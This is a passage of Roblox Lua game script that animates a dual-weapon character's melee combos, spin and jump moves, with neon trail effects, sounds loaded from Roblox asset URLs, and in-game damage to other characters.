coroutine.wrap(function() local Old = Handle2.CFrame.p while wait()do if not TrailDeb then break end local New = Handle2.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) for i=0,1,0.08 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) end so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) end --dmgstop() attack=false con1:disconnect() if TrailDeb == true then TrailDeb = false end end function attackthree() attack=true if TrailDeb == false then TrailDeb = true end coroutine.wrap(function() local Old = Handle.CFrame.p while wait()do if not TrailDeb then break end local New = Handle.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) for i=0,1,0.08 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) end so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) for i=0,1,0.05 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) end --dmgstop() attack=false con1:disconnect() if TrailDeb == true then TrailDeb = false end end function attackfour() attack=true if TrailDeb == false then TrailDeb = true end coroutine.wrap(function() local Old = Handle2.CFrame.p while wait()do if not TrailDeb then break end local New = Handle2.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() coroutine.wrap(function() local Old = Handle.CFrame.p while wait()do if not TrailDeb then break end local New = Handle.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) for i=0,1,0.08 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) end if anim then anim.Disabled=true end so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) for i=0,1,0.04 do swait() Torso.Velocity=RootPart.CFrame.lookVector*50 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) end --dmgstop() attack=false con1:disconnect() con2:disconnect() if anim then anim.Disabled=false end if TrailDeb == true then TrailDeb = false end end function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2) local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) prt.Anchored = true prt.CFrame = cframe local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1)) coroutine.resume(coroutine.create(function() for i = 0, 1, 0.05 do wait() prt.Transparency = i msh.Scale = msh.Scale + vt(x2, y2, z2) end prt.Parent = nil end)) end function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) for _, c in pairs(workspace:children()) do local hum = c:findFirstChild("Humanoid") if hum ~= nil then local head = c:findFirstChild("Torso") if head ~= nil then local targ = head.Position - Part.Position local mag = targ.magnitude if mag <= magni and c.Name ~= Player.Name then Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) end end end end end function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) prt.Anchored = true prt.CFrame = cframe local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1)) game:GetService("Debris"):AddItem(prt, 2) coroutine.resume(coroutine.create(function(Part, Mesh) for i = 0, 1, delay do swait() Part.CFrame = Part.CFrame Part.Transparency = i Mesh.Scale = Mesh.Scale + vt(x3, y3, z3) end Part.Parent = nil end), prt, msh) end function MagicJump() if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then attack=true mana=mana-25 --[[ Humanoid.WalkSpeed = 0 for i=0,1,0.01 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1) Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1) Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1) RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1) LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1) Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1) end]]-- Humanoid.Jump = true Torso.Velocity = vt(0, 150, 0) Humanoid.WalkSpeed = 64 so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) for i=0,1,0.05 do swait() Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3) Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3) LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2) LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2) end for i=0,1,0.02 do swait() Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) end Humanoid.WalkSpeed = 0 swait(8) so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character) if hit~=nil then swait(2) local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt()) ref.Anchored=true ref.CFrame=cf(pos) game:GetService("Debris"):AddItem(ref,3) for i=1,10 do local Col=BrickColor.new("Really black") local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) groundpart.Anchored=true groundpart.CanCollide=false groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) local Col2=TorsoColor local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) groundpart2.Anchored=true groundpart2.CanCollide=false groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) game:GetService("Debris"):AddItem(groundpart,5) game:GetService("Debris"):AddItem(groundpart2,5) end BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4) BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2) MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05) MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05) CamShake(RootPart,27,1,15) for i=0,1,0.06 do swait() Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3) Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3) RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3) LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3) RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) end end swait(20) Humanoid.WalkSpeed = 12 --dmgstop() attack=false end end function Spin() attack=true mana=mana-40 if TrailDeb == false then TrailDeb = true end coroutine.wrap(function() local Old = Handle2.CFrame.p while wait()do if not TrailDeb then break end local New = Handle2.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() coroutine.wrap(function() local Old = Handle.CFrame.p while wait()do if not TrailDeb then break end local New = Handle.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() Footsteps:Stop() Footsteps2:Stop() con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end if anim then anim.Disabled=true end so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*100 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*100 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*100 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end --dmgstop() Humanoid.WalkSpeed=12 attack=false con1:disconnect() con2:disconnect() if anim then anim.Disabled=false end if TrailDeb == true then TrailDeb = false end end function Twirl() mana=mana-50 attack=true if TrailDeb == false then TrailDeb = true end coroutine.wrap(function() local Old = Handle2.CFrame.p while wait()do if not TrailDeb then break end local New = Handle2.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() coroutine.wrap(function() local Old = Handle.CFrame.p while wait()do if not TrailDeb then break end local New = Handle.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() Footsteps:Stop() Footsteps2:Stop() con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) so("http://www.roblox.com/asset/?id=159882598",Torso,1,1) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end if anim then anim.Disabled=true end so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*80 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*80 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) 